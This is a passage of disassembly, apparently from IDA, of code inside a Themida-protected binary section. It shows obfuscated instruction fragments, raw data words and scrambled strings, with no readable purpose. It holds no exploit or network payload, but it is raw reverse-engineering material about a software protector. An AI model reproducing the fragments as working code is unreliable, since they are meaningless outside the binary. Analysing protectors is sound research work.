dd 597D7F7h, 0C4FB46B7h, 0FFD38DE9h, 4B8FFh, 44010000h
dd 0E9580424h, 0FFFFBFE2h, 666AE981h, 0B85023DAh, 0
dd 1088C801h, 54B7E9h, 81E58900h, 4C5h, 4C58300h, 5C242C87h
dd 0E924048Fh, 3AF8h
; ---------------------------------------------------------------------------
loc_54ADE4: ; CODE XREF: Themida_:0054B812j
mov ecx, [esp]
push 540Ch
mov [esp], ebp
mov ebp, esp
add ebp, 4
jmp loc_54E957
; ---------------------------------------------------------------------------
dd 295DE901h, 0D18959CAh, 0E9CE015Ah, 0FFFFD090h
; ---------------------------------------------------------------------------
loc_54AE0C: ; CODE XREF: Themida_:005510E1j
push esp
push dword ptr [esp]
pop ecx
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
jmp loc_5494C8
; ---------------------------------------------------------------------------
byte_54AE29 db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:00546420o
dd 0F2E95124h
db 15h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54AE33: ; CODE XREF: Themida_:00550F5Cj
xor ecx, 60792D2Eh
not ecx
shl ecx, 2
jmp loc_54D386
; ---------------------------------------------------------------------------
db 0D3h
dd 0E99C2404h, 0FFFFB69Fh, 4BDh, 5DEE2900h, 2474FF56h
dd 24348B04h, 8F04C483h, 248B2404h, 240C8924h, 0FFB67EE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54AE6D: ; CODE XREF: Themida_:0054F985j
push eax
mov eax, 621A0416h
jmp loc_546E7E
; ---------------------------------------------------------------------------
loc_54AE78: ; CODE XREF: Themida_:0054A581j
push edi
jmp loc_54E1F6
; ---------------------------------------------------------------------------
dw 1C89h
dd 0F205E924h
db 2 dup(0FFh)
word_54AE86 dw 5ADh ; DATA XREF: Themida_:005462C8o
dd 23F82566h, 49FBE9h, 2E4B900h, 2FE9599Eh, 8900004Eh
dd 0E68956E5h, 6190E9h
db 0
; ---------------------------------------------------------------------------
loc_54AEA5: ; CODE XREF: Themida_:005495C4j
add ebp, 582E2BDBh
push ebp
not dword ptr [esp]
pop ebp
neg ebp
jmp loc_548402
; ---------------------------------------------------------------------------
db 0BAh
dd 4, 148BD001h, 524C6824h, 48E90000h, 5000041h, 331A5DFAh
dd 86E9C689h, 29FFFFE0h, 2203E9E8h, 14890000h, 0EEB4E924h
dd 48FFFFFh, 6DF2E924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54AEEE: ; CODE XREF: Themida_:00548415j
sub edi, 4
xor edi, [esp]
xor [esp], edi
xor edi, [esp]
jmp loc_546801
; ---------------------------------------------------------------------------
db 29h
dd 0F8015AD0h, 9458AF05h, 3CC90556h, 505F06DDh, 39E8E9h
db 0
; ---------------------------------------------------------------------------
loc_54AF15: ; CODE XREF: Themida_:005516DEj
pop eax
pop ecx
add ecx, 4
add ecx, 4
jmp loc_550BEA
; ---------------------------------------------------------------------------
dd 1874C381h, 0DE313A08h, 81241C8Bh, 4C4h, 3B7A2D00h, 0A8056C42h
dd 0E97EDE03h, 1EB0h, 41FDE981h, 0E9011052h, 41FDC181h
dd 875D1052h, 315C240Ch, 0E99C2404h, 0FFFFB587h, 0BF3EC181h
dd 0ED81C87Dh, 5A2A14E7h, 0A9AE9h, 24048700h, 2B9515Ch
dd 1000000h, 1C8759CBh, 8B665C24h, 0ADE92404h, 8700006Dh
dd 0D25C2404h, 0E99C2424h, 0FFFFB54Fh, 4EC81h, 3C890000h
dd 81E78924h, 4C7h, 4BD5500h, 1000000h, 2E95DEFh
db 0E2h, 2 dup(0FFh)
byte_54AFBB db 66h ; DATA XREF: Themida_:00546230o
dd 5724048Bh, 64FDE9h, 54F38100h, 0E910843Ah, 1A87h, 0CE2CD800h
dd 8951992Ch, 4C181E1h, 83000000h, 0C8704E9h, 0DEE95C24h
dd 0F7FFFFDCh, 0EB8143D3h, 0FFBF7BFCh, 0E95BDE01h, 0FFFFE261h
dd 0E4E90103h, 59000025h, 203FF581h, 0ED811991h, 33016634h
dd 0FFFF33E9h, 2BF268FFh, 2C890000h, 4BD24h, 0EA810000h
dd 1C3C2777h, 0C281EA01h, 1C3C2777h, 2BE565Dh, 81000000h
dd 5558C0EAh, 81F2014Dh, 5558C0C2h, 609CE94Dh, 3C310000h
dd 243C3324h, 0E9F8295Ch, 182Bh, 0BD242C89h, 202F18F1h
dd 10E4E9h
db 0
; ---------------------------------------------------------------------------
loc_54B065: ; CODE XREF: Themida_:00548883j
add ebp, 0FBF55476h
mov eax, ebp
pop ebp
xor eax, 9EA7F874h
jmp loc_5485A1
; ---------------------------------------------------------------------------
aQXckSsp db 'Q╧xC╙',0Bh,'ИИp',0
db 0
; ---------------------------------------------------------------------------
loc_54B083: ; CODE XREF: Themida_:0054693Bj
pop esi
jmp loc_54F9E3
; ---------------------------------------------------------------------------
loc_54B089: ; CODE XREF: Themida_:00549715j
pop ebx
add eax, 4
jmp loc_54F761
; ---------------------------------------------------------------------------
dword_54B094 dd 0E92C77FFh, 0FFFFB44Fh ; DATA XREF: Themida_:005463F4o
; ---------------------------------------------------------------------------
loc_54B09C: ; CODE XREF: Themida_:0054B638j
shl edx, 1
push 52B8h
mov [esp], eax
push ebp
jmp loc_54EE8E
; ---------------------------------------------------------------------------
dd 0E95BDE00h, 677Ch, 4B9h, 0C7A0E900h, 0B72DFFFFh, 0E93D8948h
dd 4CF5h, 0E9243C33h, 0FFFFFF7Ah, 4240481h, 8F000000h
dd 4812404h, 424h, 0C7815F00h, 4, 4ACB68h, 24348900h, 2BEh
dd 8BF70100h, 0C4812434h, 4, 8B243C87h, 0FBE92424h
db 0E7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54B10B: ; CODE XREF: Themida_:00548704j
mov eax, 771D098Bh
jmp loc_547BF7
; ---------------------------------------------------------------------------
db 5Bh, 83h, 0C7h
dd 32C9E902h, 0DD010000h, 51BDE9h
db 0
; ---------------------------------------------------------------------------
loc_54B125: ; CODE XREF: Themida_:00548E52j
not edi
and edi, 3F285C7Ah
sub edi, 54A574E2h
push esi
push edi
mov edi, 19623621h
jmp loc_54FB7B
; ---------------------------------------------------------------------------
loc_54B13F: ; CODE XREF: Themida_:0054E63Dj
add ebp, 4
add ebp, 4
jmp loc_547AF9
; ---------------------------------------------------------------------------
db 0F7h, 14h, 24h
aL4Swt db '▀4$ИWT',0
align 4
dd 88CE8852h, 0E72AE9F0h, 0AA68FFFFh, 8900002Eh, 0EE68240Ch
dd 0E96F6C42h, 40AEh
; ---------------------------------------------------------------------------
loc_54B174: ; CODE XREF: Themida_:005481DEj
push dword ptr [esp]
jmp loc_54C469
; ---------------------------------------------------------------------------
dword_54B17C dd 240C8B66h, 3D076857h, 24890000h, 24048324h, 5E685F04h
; DATA XREF: Themida_:00546354o
dd 0E9000008h, 4E4Ah, 6403ACBDh, 0F7C58144h, 0F71F3A21h
dd 8E5C1DDh, 0FFFAC2E9h, 606568FFh, 0C890000h, 61FEE924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54B1BA: ; CODE XREF: Themida_:0054ECBEj
add edx, 4
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
pop esp
push eax
mov eax, esp
add eax, 4
push ebx
mov ebx, 4
sub eax, ebx
pop ebx
xchg eax, [esp]
jmp loc_55071B
; ---------------------------------------------------------------------------
dd 11540B8h, 0ECED0555h, 0C329CC61h, 81CB2958h, 63022DC3h
dd 9E95921h, 68FFFFEDh, 2CFFh, 0E9240C89h, 5C57h
; ---------------------------------------------------------------------------
loc_54B208: ; CODE XREF: Themida_:0054C0D2j
mov [esp], eax
mov eax, esp
push ebx
mov ebx, 4
add eax, ebx
pop ebx
add eax, 4
xchg eax, [esp]
pop esp
push 66DDh
mov [esp], ebp
sub esp, 4
mov [esp], ecx
push edi
push ecx
mov ecx, 6796A55h
mov edi, ecx
pop ecx
mov ecx, 277535A1h
xor ecx, edi
pop edi
push ecx
sub dword ptr [esp], 7A0E2716h
mov ebp, [esp]
add esp, 4
add ebp, 7A0E2716h
mov ecx, [esp]
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp]
jmp loc_546870
; ---------------------------------------------------------------------------
loc_54B26D: ; CODE XREF: Themida_:00546DA6j
xchg ecx, [esp]
jmp loc_54BE31
; ---------------------------------------------------------------------------
db 81h, 0C3h, 4
dd 83000000h, 1C8704EBh, 34895C24h, 606EBE24h, 0EC835E43h
dd 240C8904h, 0E0137268h, 240C8B2Fh, 6804C483h, 7D2Ch
dd 0BB241C89h, 13B74EFFh, 9BF7EB81h, 0D929421Ah, 0E9CE315Bh
dd 1572h
; ---------------------------------------------------------------------------
loc_54B2B8: ; CODE XREF: Themida_:0054E84Aj
sub ecx, 0BB7E553Bh
xor ebp, ecx
pop ecx
and eax, ebp
push dword ptr [esp]
mov ebp, [esp]
jmp loc_5493F5
; ---------------------------------------------------------------------------
dw 0C383h
dd 241C8704h, 0FFCE9EE9h, 4C483FFh
; ---------------------------------------------------------------------------
loc_54B2DC: ; CODE XREF: Themida_:005511A8j
push 5FCBh
mov [esp], eax
jmp loc_54729C
; ---------------------------------------------------------------------------
db 0BDh, 0B2h, 4Fh
dd 0B8507D0Ah, 4F716F5h, 0E883D0F7h, 573A2DFFh, 70511FAh
dd 187D89Ch, 0B95158C5h, 6E4C082Dh, 0E1C1D1F7h, 0C1814104h
dd 3DDCC43Bh, 0D159CD29h, 0ED814DE5h, 29AA7857h, 7F48C781h
dd 0E9506206h, 0FFFFDE4Bh
; ---------------------------------------------------------------------------
loc_54B330: ; CODE XREF: Themida_:00547748j
mov edx, [esp]
add esp, 4
xor edx, 440B4130h
jmp loc_54867E
; ---------------------------------------------------------------------------
db 57h, 0BFh, 99h
dd 8129D861h, 0C20861CFh, 62E7815Fh, 817AA024h, 0BD621ECFh
dd 7AEF8101h, 517BBD62h, 0B9E9h
db 0
aNvqwhECsJ db '╜VQWhЛe╤cИ',7,'j',0 ; DATA XREF: Themida_:0054647Co
db 0
; ---------------------------------------------------------------------------
loc_54B373: ; CODE XREF: Themida_:00551817j
mov esp, [esp]
jmp loc_5464EB
; ---------------------------------------------------------------------------
db 0BEh
dd 7691709Eh, 95E9DEF7h
db 0E2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54B387: ; CODE XREF: Themida_:0054EC1Ej
xor eax, ecx
sub esp, 4
mov [esp], eax
xor [esp], edx
jmp loc_548E45
; ---------------------------------------------------------------------------
loc_54B39A: ; CODE XREF: Themida_:005485D9j
pop ebx
sub ecx, 1
push ebx
mov ebx, 286520E1h
or ebx, 1C240216h
push edi
mov edi, 365535F0h
neg edi
jmp loc_54F544
; ---------------------------------------------------------------------------
db 0B7h
dd 4B55154h, 6192E9h, 24348700h, 0F724248Bh, 8E3C1D3h
dd 9971C381h, 0DA0948A1h, 6A07E9h, 5EF50100h, 31242C33h
dd 2C33242Ch, 4085C24h, 0FCE99C24h
db 0B0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54B3EF: ; CODE XREF: Themida_:00547814j
pop ebp
pop edi
add edi, ebp
pop ebp
add edi, ecx
push ecx
push ecx
mov ecx, esp
add ecx, 4
sub ecx, 4
xchg ecx, [esp]
pop esp
mov [esp], ebp
mov ebp, 2AD40E67h
mov ecx, 47AE231Dh
sub ecx, ebp
jmp loc_54A678
; ---------------------------------------------------------------------------
dw 68B9h
dd 291B4622h, 0C28159CAh, 1DF17556h, 0EA81FA01h, 1DF17556h
dd 2268BE56h, 0EA811B46h, 7917755Bh, 50E9F201h, 28000021h
dd 805966EFh, 0F82861EFh, 157FE95Bh, 14890000h, 375EE924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54B45E: ; CODE XREF: Themida_:0054B582j
add esi, eax
jmp loc_551283
; ---------------------------------------------------------------------------
db 0BBh, 0F4h, 2Eh
dd 0BA525B71h, 79C84655h, 2AEFF281h, 0D33103EAh, 24E3815Ah
dd 5519E56Ch, 0F035FBDh, 0AAED8156h, 21FAC8B2h, 2E95DEBh
db 39h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54B493: ; CODE XREF: Themida_:00550F1Aj
mov ecx, [eax]
mov eax, [esp]
add esp, 4
push 5323h
mov [esp], edx
push eax
jmp loc_5508B7
; ---------------------------------------------------------------------------
db 1, 0D0h, 53h
dd 29024BBBh, 0C6E38134h, 0F7769A28h, 0B31BE9D3h, 0F181FFFFh
dd 0ACDCCECBh, 34FFCE01h, 240C8B24h, 5204C483h, 0C281E289h
dd 4, 4C281h, 0E5E90000h, 1000015h, 24148BD3h, 6804C483h
dd 29DDh, 0FFE615E9h, 0EEEE81FFh, 5A07C31Ah, 2B850h, 0C6010000h
dd 24348758h, 3F92E9h
db 0
; ---------------------------------------------------------------------------
loc_54B50D: ; CODE XREF: Themida_:0054DA86j
push 399h
mov [esp], ebx
jmp loc_547741
; ---------------------------------------------------------------------------
dw 525Ah
dd 0C6FEB5B6h, 0E90AEE80h, 6C7h, 46FC181h, 0D1010AB1h
dd 46FE981h, 7E90AB1h
db 0D8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54B53B: ; CODE XREF: Themida_:0054EDD4j
mov ebx, [esp]
add esp, 4
or eax, eax
jz loc_551251
push dword ptr [edi+1Ch]
push ebp
mov ebp, 632414AFh
xor ebp, 27840500h
add [esp+4], ebp
pop ebp
mov ecx, [esp]
push esi
mov esi, esp
jmp loc_54B57C
; ---------------------------------------------------------------------------
db 81h
dd 4C1h, 4C18300h, 0E9240C33h, 529Ah
; ---------------------------------------------------------------------------
loc_54B57C: ; CODE XREF: Themida_:0054B566j
push eax
mov eax, 4
jmp loc_54B45E
; ---------------------------------------------------------------------------
loc_54B587: ; CODE XREF: Themida_:0054687Bj
push ebp
mov ebp, 6B44E03h
mov edi, 87189FCh
add edi, ebp
pop ebp
sub ebp, edi
pop edi
and ecx, ebp
pop ebp
shr ecx, 0Bh
push edx
jmp loc_54EBE5
; ---------------------------------------------------------------------------
loc_54B5A4: ; CODE XREF: Themida_:0055000Bj
pop eax
add eax, 56725691h
mov edx, eax
pop eax
shl edx, 3
or edx, 40E6C26h
not edx
sub edx, 18770A92h
sub edx, 39A8F8C3h
add esi, edx
pop edx
add esi, 4
jmp loc_551814
; ---------------------------------------------------------------------------
loc_54B5D2: ; CODE XREF: Themida_:00551FCFj
add esp, 4
or edx, eax
shl edx, 1
jmp loc_551A90
; ---------------------------------------------------------------------------
dw 1489h
dd 0E995B224h, 55F6h, 4B8505Fh, 1000000h, 66FBE9C3h, 295A0000h
dd 52CE2DD8h, 34FF51DEh, 2434FF24h, 81241C8Bh, 4C4h, 4C48300h
dd 50E78957h, 4B8h, 8E4E900h, 4870000h, 24248B24h, 52240489h
dd 7DE9E289h
db 14h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54B62F: ; CODE XREF: Themida_:00546B7Fj
push dword ptr [esp]
pop edx
add esp, 4
or edx, eax
jmp loc_54B09C
; ---------------------------------------------------------------------------
loc_54B63D: ; CODE XREF: Themida_:00551ABFj
mov [esp], esi
mov esi, edi
mov ecx, esi
pop esi
mov edi, [esp]
add esp, 4
and eax, ecx
push dword ptr [esp]
push dword ptr [esp]
pop ecx
add esp, 4
add esp, 4
or edx, eax
shl edx, 1
push ebp
push 420Ah
mov [esp], eax
mov eax, 6E70174Ch
xor eax, 38CF7A1Eh
neg eax
add eax, 6EEE68D4h
dec eax
or eax, 10757FF7h
jmp loc_54916E
; ---------------------------------------------------------------------------
dw 0C7FEh
dd offset dword_561868
dd 24048900h, 0C7003CB0h, 5BF82858h, 0B60FC330h, 0E62E9C0h
dd 0EA810000h, 5FED7D28h, 7E6468h, 243C8900h, 6C42EEBFh
dd 5FFA016Fh, 0FFAE2EE9h, 5FFE01FFh, 2474FF56h, 48F5E04h
dd 511BE924h, 815D0000h, 4C6h, 74FF5600h, 5CE90424h, 8B00003Ch
dd 65E9241Ch
db 6Ch, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54B6E7: ; CODE XREF: Themida_:00548042j
add esp, 4
or eax, eax
jmp loc_550338
; ---------------------------------------------------------------------------
loc_54B6F1: ; CODE XREF: Themida_:0054F887j
add ebp, 4
xchg ebp, [esp]
pop esp
jmp loc_54D49B
; ---------------------------------------------------------------------------
db 89h, 0Ch, 24h
dd 0FFC512E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54B705: ; CODE XREF: Themida_:0054945Aj
add eax, 70F42D0Ah
push ecx
push 673Fh
mov [esp], edi
push esi
mov esi, 7D663E98h
push edx
mov edx, 6812DA8h
or esi, edx
jmp loc_54A4B9
; ---------------------------------------------------------------------------
dw 0DD68h
dd 89000015h, 2FE9240Ch, 0F700003Eh, 5EFC1DFh, 2CE2E9h
dd 7EBF5700h, 3136043Ah, 0E9C15FF9h, 0E9814108h, 1C6F3CF4h
dd 6120E957h, 57500000h, 5B180DBFh, 0A5DE97Eh
db 2 dup(0)
word_54B762 dw 4ACh ; DATA XREF: Themida_:00546274o
dd 0E9FB2CB3h, 67F5h, 0C081B050h, 516604E0h, 0C820BBB1h
dd 240C8B66h, 14E0E9h, 24048900h, 6B4FE9h, 4C68100h, 53000000h
dd 2BBh, 5168E900h, 0CBB80000h, 0E92A5159h, 2C00h, 50E94434h
dd 89FFFFFAh, 4C781E7h, 0E9000000h, 0FFFFE698h
; ---------------------------------------------------------------------------
loc_54B7B8: ; CODE XREF: Themida_:00549BE0j
xchg eax, [esp]
jmp loc_54EA22
; ---------------------------------------------------------------------------
loc_54B7C0: ; CODE XREF: Themida_:0054C378j
add ecx, ebx
pop ebx
jmp loc_54FF96
; ---------------------------------------------------------------------------
dd 31241C33h, 1C33241Ch, 24248B24h, 0FFEC95E9h, 5724BDFFh
dd 814D6B02h, 3079BCCDh, 2EED8114h, 0E9472B59h, 0FFFFC9BFh
; ---------------------------------------------------------------------------
loc_54B7F0: ; CODE XREF: Themida_:0054F2D3j
mov ebx, 34925869h
sub esp, 4
mov [esp], ecx
mov ecx, 1AEA485Fh
inc ecx
shl ecx, 4
xor ecx, 58262C77h
xor ecx, 926AF175h
mov esi, ecx
jmp loc_54ADE4
; ---------------------------------------------------------------------------
loc_54B817: ; CODE XREF: Themida_:0054840Aj
pop ebp
add [esp+4], esi
pop esi
mov esi, [esp]
add esp, 4
push 6829h
mov [esp], eax
jmp loc_551B0A
; ---------------------------------------------------------------------------
db 5Fh
dd 13E9D9F7h, 8900006Dh, 0B9512414h, 65417BDBh, 0FFCF28E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54B849: ; CODE XREF: Themida_:00551F49j
push eax
mov eax, 0E59FC83Eh
xor ebp, eax
jmp loc_54D376
; ---------------------------------------------------------------------------
dw 0EE81h
dd 5D8628Fh, 786CC681h, 555B15E4h, 4BDh, 22EE8100h, 1626757h
dd 22C681EEh, 5D626757h, 0FFDE6AE9h, 0DBBF57FFh, 5162C36Fh
dd 0E71233B9h, 0C1814156h, 0ADDEE8Ch, 4AC2E9h
db 0
; ---------------------------------------------------------------------------
loc_54B895: ; CODE XREF: Themida_:005513EFj
push ebx
mov ebx, 541076F7h
or ebx, 2BDE1D5Eh
xor ebx, 57597E92h
jmp loc_5485D7
; ---------------------------------------------------------------------------
dword_54B8AC dd 240C8B66h, 50E38953h, 16F8E9h ; DATA XREF: Themida_:00546384o
db 0
; ---------------------------------------------------------------------------
loc_54B8B9: ; CODE XREF: Themida_:0054BB31j
add edi, 2A485F4Dh
jmp loc_5477E2
; ---------------------------------------------------------------------------
loc_54B8C4: ; CODE XREF: Themida_:005513B3j
pop edi
or ebx, ebp
pop ebp
push 789Bh
mov [esp], ebp
jmp loc_548233
; ---------------------------------------------------------------------------
byte_54B8D5 db 56h, 0BEh, 1Fh ; DATA XREF: Themida_:00546260o
dd 0F77C837Dh, 936851DEh, 89000052h, 7AE92434h, 5DFFFFCAh
dd 4C481h, 0BD550000h, 304532A2h, 28C5E9h, 284EB300h, 241C8BD8h
dd 4C481h, 68660000h, 89667498h, 54E9241Ch, 55000027h
dd 5C81E9h
db 0
; ---------------------------------------------------------------------------
loc_54B91D: ; CODE XREF: Themida_:0054A285j
pop esp
xor eax, ebp
pop ebp
xor ebx, eax
xor edx, eax
jmp loc_5464EB
; ---------------------------------------------------------------------------
dw 0C481h
dd 4, 4BF57h, 0F8010000h, 0ABE9555Fh
db 56h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54B93F: ; CODE XREF: Themida_:0054F167j
pop eax
jmp loc_550C2D
; ---------------------------------------------------------------------------
db 5Ch, 5, 0ADh
dd 17AD017h, 64AEE9D8h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54B952: ; CODE XREF: Themida_:00546F86j
push eax
jmp loc_547A89
; ---------------------------------------------------------------------------
dd 8005E6C0h, 7AE950EEh, 8100000Ah, 4C7h, 4C78300h, 5C243C87h
dd 0E9FFC280h, 4522h
dword_54B978 dd 4BE957ADh ; DATA XREF: Themida_:005462ACo
db 0Fh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54B97F: ; CODE XREF: Themida_:0054DD9Fj
pop ebp
add esi, eax
push edi
mov edi, 0DEF13ABh
jmp loc_547A2F
; ---------------------------------------------------------------------------
db 5Ah, 55h, 0BDh
dd 4, 0E95DEE01h, 34B3h
; ---------------------------------------------------------------------------
loc_54B99C: ; CODE XREF: Themida_:00549A45j
or ebp, 6F7A2D6Dh
add ebp, 9084C481h
and eax, ebp
pop ebp
push eax
push ebx
push 5693h
mov [esp], edx
jmp loc_546B2F
; ---------------------------------------------------------------------------
dw 0EE81h
dd 41FB4E69h, 0BF57DEF7h, 2C1DE13Eh, 0A3E9FE31h, 6600001Fh
dd 5BDE8859h, 808DF680h, 0E95354C6h, 5E47h, 60E7BB53h
dd 0D83110DFh, 0FFF3A8E9h, 0D8295BFFh, 4EC815Bh, 0E9000000h
dd 6429h, 8304C483h, 48904ECh, 2B824h, 0E3E90000h, 100004Fh
dd 0E7C581CDh, 595A2A14h, 5EE9EB01h, 0B900006Bh, 78E26469h
dd 479E9h, 4C28100h, 83000000h, 148704EAh, 3C895C24h, 4BF24h
dd 77E90000h, 81000024h, 4C5h, 4ED8300h, 5C242C87h, 0FF241489h
dd 8B042474h, 0E9552414h, 0FFFFF36Dh, 7506EE81h, 0C6810A7Eh
dd 0FFFFFFFFh, 713D68h, 241C8900h, 50C4E9h, 0C4835A00h
dd 49056604h, 0E5A9E970h, 0F749FFFFh, 1BF181D1h, 1F39FF7h
dd 96E959CEh, 30FFFFE4h, 426EE9F8h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54BA9E: ; CODE XREF: Themida_:0054A02Aj
pop esp
and ecx, eax
push dword ptr [esp]
pop eax
add esp, 4
shr ecx, 2
sub esp, 4
mov [esp], ebx
sub dword ptr [esp], 25E168B4h
push dword ptr [esp]
mov eax, [esp]
jmp loc_54F001
; ---------------------------------------------------------------------------
loc_54BAC9: ; CODE XREF: Themida_:00551C65j
xor ecx, eax
jmp loc_54F074
; ---------------------------------------------------------------------------
dd 280BB050h, 526658C3h, 0F32858B6h, 24148B66h, 8002C483h
dd 9DE944C3h
db 48h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54BAEB: ; CODE XREF: Themida_:005483E7j
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
sub esp, 4
mov [esp], esi
mov esi, esp
add esi, 4
sub esi, 4
xchg esi, [esp]
pop esp
mov [esp], ebp
mov ebp, 6BBC6F3Ah
jmp loc_549FC0
; ---------------------------------------------------------------------------
loc_54BB1D: ; CODE XREF: Themida_:00546724j
push ebx
jmp loc_54E774
; ---------------------------------------------------------------------------
loc_54BB23: ; CODE XREF: Themida_:0054FD77j
neg edi
and edi, 6F22650Bh
sub edi, 1C2244CAh
jmp loc_54B8B9
; ---------------------------------------------------------------------------
dw 0FD89h
dd 8BE8215Fh, 0C483242Ch, 0FC00904h, 24CA84h, 67556800h
dd 4890000h, 0FE6824h, 34FF0000h, 2434FF24h, 0E6895658h
dd 4C681h, 0C6830000h, 24348704h, 3D0CE95Ch, 0E9C00000h
dd 3F18004h, 0E907E1C0h, 147Ah, 8B24048Fh, 8B662424h, 0AEE92404h
dd 81000008h, 731632C1h, 0CDC98170h, 566E1221h, 53DDE951h
dd 2C8B0000h, 4CB4E924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54BBAA: ; CODE XREF: Themida_:005525D2j
mov ebp, [esp]
add esp, 4
sub ecx, 4
xchg ecx, [esp]
mov esp, [esp]
jmp loc_546AE3
; ---------------------------------------------------------------------------
dd offset dword_43A998+3D0h
dd 3567E900h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54BBCE: ; CODE XREF: Themida_:0054A24Fj
push dword ptr [esp+4]
pop edx
pop dword ptr [esp]
pop esp
push 1B5Dh
mov [esp], edi
mov edi, 5C0E0C3Ah
push ebx
mov ebx, 484E0AD4h
jmp loc_54CCDA
; ---------------------------------------------------------------------------
db 80h
dd 2BE93ACEh
db 0EBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54BBF7: ; CODE XREF: Themida_:0054F862j
xchg ebp, [esp]
mov esp, [esp]
mov [esp], eax
jmp loc_5464EB
; ---------------------------------------------------------------------------
db 1, 0CAh, 0E9h
dd 628Fh, 4C0835Ah, 8B240487h, 48F2424h, 24248B24h, 9C2424D2h
dd 0FFA8C6E9h, 243433FFh, 33243431h, 248B2434h, 82BE5624h
dd 1513D66h, 24348BF2h, 0E904C483h, 2409h, 43B1F781h, 0F8295D6Fh
dd 7AB9515Fh, 0F74CB94Bh, 0CFE981D9h, 15CC2B1h, 0E7E959C8h
dd 0B9FFFFBBh, 400E0261h, 8159CB29h, 4ECh, 0E507E900h
dd 0EC81FFFFh, 4, 0B9240C89h, 7449619Bh, 0E181D1F7h, 41A343BFh
dd 2394F181h, 0C9814FC3h, 694539C2h, 10D8C181h, 5FE90A02h
dd 81000048h, 16075BC2h, 5AD0310Dh, 38D7E955h, 0C6830000h
dd 2436802h, 34890000h, 2474FF24h, 0D124E904h, 3C89FFFFh
dd 4E36BF24h, 0EF81413Dh, 0FFFFFFFFh, 182AE9h
db 0
; ---------------------------------------------------------------------------
loc_54BCD9: ; CODE XREF: Themida_:00550CD3j
push eax
mov eax, 0ACD1D0Bh
xor esi, eax
pop eax
push 1B66h
mov [esp], esi
not dword ptr [esp]
jmp loc_547A93
; ---------------------------------------------------------------------------
dw 0C681h
dd 1D2D1C44h, 0E95EF229h, 308Eh, 3EB8059h, 0FFFA63E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54BD09: ; CODE XREF: Themida_:0054907Dj
add [esp+0Ch], ebp
pop ebp
pop eax
sub dword ptr [esp+4], 727E70A5h
jmp loc_54AB81
; ---------------------------------------------------------------------------
aIsS db '┴И]И)',0
align 4
dd 0B6E9F829h
db 49h, 2 dup(0)
byte_54BD2B db 66h ; DATA XREF: Themida_:00546220o
dd 8124048Bh, 4ECh, 24348900h, 4732E9h, 0C3885300h, 885BDA88h
dd 24148BD5h, 256AE9h, 24348B00h, 2241E9h
db 0
byte_54BD55 db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:005463F8o
dd 4EC8324h, 0FFD9D7E9h, 242C89FFh, 0D4E9DDBDh, 5DEE2957h
dd 0E95E3029h, 4397h, 0FEE9E789h
db 7, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54BD7B: ; CODE XREF: Themida_:0054C48Aj
and eax, ebp
push dword ptr [esp]
pop ebp
push 780Dh
mov [esp], esi
mov esi, esp
push edi
mov edi, 4
push ecx
mov ecx, 42961F82h
add ecx, 220F437Eh
add esi, ecx
pop ecx
jmp loc_54DE93
; ---------------------------------------------------------------------------
db 0FFh, 74h, 24h
dd 37E95F04h
db 0F1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54BDAF: ; CODE XREF: Themida_:0054A7D0j
pop esp
or eax, eax
jmp loc_550A5A
; ---------------------------------------------------------------------------
db 0FFh
dd 55582434h, 0FFB7EFE9h
db 0FFh
byte_54BDC1 db 55h, 53h, 52h ; DATA XREF: Themida_:00546470o
dd 2C4659BAh, 35E2816Bh, 0E9672648h, 0FFFFDC76h, 4C681h
dd 34870000h, 0FFE95C24h
db 0BEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54BDE3: ; CODE XREF: Themida_:0054936Ej
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
push edx
push esp
pop edx
add edx, 4
add edx, 4
push edx
push dword ptr [esp+4]
pop edx
pop dword ptr [esp]
pop esp
shr eax, 10h
xor eax, ecx
push 1F1Eh
jmp loc_549EE8
; ---------------------------------------------------------------------------
loc_54BE18: ; CODE XREF: Themida_:0054DEB5j
jz loc_54E263
push edx
jmp loc_54D13C
; ---------------------------------------------------------------------------
dd 1C8BD800h, 0E2895224h, 2772E9h
db 0
; ---------------------------------------------------------------------------
loc_54BE31: ; CODE XREF: Themida_:0054B270j
pop esp
add eax, 4
sub eax, 4
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
pop esp
mov [esp], ebx
push ecx
mov ecx, 4000h
mov ebx, ecx
pop ecx
and eax, ebx
mov ebx, [esp]
jmp loc_54BF33
; ---------------------------------------------------------------------------
dd 3058E630h, 148B66F0h, 2C48324h, 440FE9h, 27E6800h, 34890000h
dd 0CEA7E924h, 0F781FFFFh, 7E532711h, 0FFEE32E9h
db 0FFh
byte_54BE85 db 0ACh, 4, 0E7h ; DATA XREF: Themida_:005463CCo
dd 0EC83D800h, 24148904h, 0E768F7B6h, 0E900000Dh, 1262h
; ---------------------------------------------------------------------------
